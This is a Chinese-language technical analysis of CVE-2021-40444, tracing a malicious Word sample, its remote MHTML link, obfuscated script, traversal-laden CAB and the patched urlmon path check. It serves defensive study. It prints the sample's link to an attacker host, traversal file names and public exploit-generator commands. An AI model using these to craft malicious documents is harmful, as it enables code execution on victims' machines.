CVE-2021-40444 漏洞深入分析

2022-01-02 Seebug漏洞平臺

收錄於話題 #漏洞分析 1個

作者:sunglin@知道創宇404實驗室


隨著cve-2021-40444的披露,隨機引爆了全球的網絡安全,雖然最近微軟發布了補丁,但是cve-2021-40444的利用卻越發猖狂,本人深入分析了這個漏洞。



拿到樣本的第一時間,便在自己的沙箱環境下面運行了下,並且從網上下載的docx,微軟默認會開啟保護模式,我這裡是本地打開的,基本內容如下,全都是文字內容,基本上沒發現什麼:

但是在rels的document.xml文件中發現了連結Target="mhtml:http://hidusi.com/e273caf2ca371919/mountain.html!x-usc:http://hidusi.com/e273caf2ca371919/mountain.html"

可以發現其是指向文件的更新連結

從樣本庫眾獲取到mountain.html後,我們打開一看,發現全部都混淆了,基本難辨真假,去混淆也比較簡單

因為是js代碼,隨便找個網上去混淆的試試,比如http://jsnice.org/,將混淆的代碼粘貼上去後,一鍵試下

基本代碼的輪廓就有了,它所有的字符串都會採用數組var a0_0x127f經過function a0_0x15ec進行拼接與置換

這就很簡單了,我通過普通腳本再一次去混淆:

經過簡單的靜態分析與調試,基本上就是它會去請求伺服器獲取一個cab文件,並且會通過執行cpl文件去執行一個inf

然後通過樣本庫獲取到這個cab,初步分析這個cab,發現了其解壓路徑是../championship.inf,並且標誌cafile的大小是0x415c00,cab文件格式[1]對應如下

最後將惡意的url改成我們自己搭建的http server,之後成功復現樣本攻擊環境,並且捕捉到了樣本通過rundll32執行了命令




cve-2021-40444的poc很快公開在了github[2]上,poc的使用很簡單,通過sudo python3 exploit.py host 80開啟簡單的http server伺服器,python3 exploit.py generate test/calc.dll ip生成包含有漏洞的docx:

假如我們現在有一個正常的docx,可以通過以下添加稍加修改,就成了可以包含cve-2021-40444漏洞的docx了




通過ProcessMonitor監控我們可以獲得其創建和讀取cab文件的行為,其調用堆棧如下:

9月14號,微軟發布了cve-2021-40444的補丁,經過補丁分析發現,urlmon.dll模塊的catDirAndFile對路徑驗證做了修改,將'/'替換成了'\\',防止路徑遍歷:




調試之前,我們首先了解下微軟對cab文件的api處理如下https://docs.microsoft.com/en-us/windows/win32/api/fdi/:

這些api包括了對cab文件的解析和讀寫操作等,urlmon模塊通過調用cabinet模塊中的這些api來處理cab文件的

首先docx觸發get請求後會通過mshtml模塊來處理,並且對cab文件的處理將會進入urlmon,之後在urlmon!GetSupportedInstallScopesFromFile這個api開始處理cab文件:

獲取到C:\Users\l\AppData\Local\Microsoft\Windows\INetCache\IE\9FFFIV4G\word[1].cab先通過GetExtnAndBaseFileName去判斷文件後綴名是不是cab:

然後通過CreateUniqueCabTempDir創建臨時文件夾,比如我這裡是C:\Users\l\AppData\Local\Temp\Cab369A,進入api ExtractInfFile後,將會繼續調用Extract,在Extract將會第一次調用到FDICreate[3]和FDICopy[4],來獲取cab的信息

FDICreate主要是對其他讀寫api等進行初始化操作:

而FDICopy主要就是提取cab文件的信息了

進入CABINET!FDICopy後將會調用LoginCabinet來提取cab的0x24大小的head信息,比如包括對頭部MSCF標誌的判斷:

之後將會進入CABINET!LoginCabinet、CABINET!FDICallEnumerate分別對應信息FNFDINOTIFY的fdintCABINET_INFO、fdintENUMERATE,再一次進入urlmon!fdiNotifyExtract後獲取CFFILE file的信息,而對應的標誌是0x02:

獲取到初始化結構體後將會在urlmon!ExtractInfFile調用urlmon!ExtractOneFile:

而在urlmon!ExtractOneFile中將會給(a4+0x202)賦值結構體lpsz,將會確保在調用urlmon!NeedFile成功返回:

之後將會繼續以標誌fdintCOPY_FILE(0x02)繼續調用urlmon!fdiNotifyExtract,繼續調用urlmon!catDirAndFile繼續路徑字符串格式化,而我們傳入的inf路徑是C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf

最後退出urlmon!catDirAndFile將會在urlmon!fdiNotifyExtract中調用Win32Open:

而在Win32Open中將會調用CreateFileA,以路徑C:\Users\l\AppData\Local\Temp\Cab45F3../msword.inf創建文件msword.inf,因為路徑存在目錄遍歷問題,所有將會在C:\Users\l\AppData\Local\Temp\msword.inf創建文件:

成功創建msword.inf文件後將會繼續成功調用CABINET!FDIGetFile,在CABINET!FDIGetFile中將會以第一個CFDATA data大小數據寫入到文件中,之後caFile(實際為解壓文件大小)將會減去寫入的CFDATA data大小,接著進行比較直到將所有的caFile大小寫入,而這裡我們的caFile大小是0x415c0000,遠遠大於實際的CFDATA的總大小,所以將會在調用最後一次CABINET!FDIGetDataBlock獲取塊的時候失敗並退出:

雖然退出了,但不影響實際寫入文件的數據,並且因為這個失敗將不會在urlmon!DeleteExtractedFiles調用DeleteFileA,因為v2[2]的標誌未清0,所以不會刪除臨時文件,從而我們創建的msword.inf得以保存,並且在後續中可以直接以cpl文件運行C:\Users\l\AppData\Local\Temp\msword.inf

而正常的提取cab文件將會以標誌fdintCLOSE_FILE_INFO(0x03)進入,調用urlmon!MarkExtracted,將標誌清0:

至此,從獲取到cab文件到提取解析,並且觸發目錄遍歷漏洞過程分析完畢。

而網上有大佬有公布以最簡潔的方式觸發了[5]這個漏洞,並且可以在ie中復現成功。




對網上來路不明的docx,請不要隨意點擊,更新最新的微軟補丁

[1]http://hmelnov.icc.ru/geos/scripts/WWWBinV.dll/ShowR?cab.rfh

[2]https://github.com/lockedbyte/CVE-2021-40444

[3]https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicreate

[4]https://docs.microsoft.com/en-us/windows/win32/api/fdi/nf-fdi-fdicopy

[5]https://twitter.com/j00sean/status/1437390861499838466

往 期 熱 門

(點擊圖片跳轉)

覺得不錯點個「在看」哦

相關焦點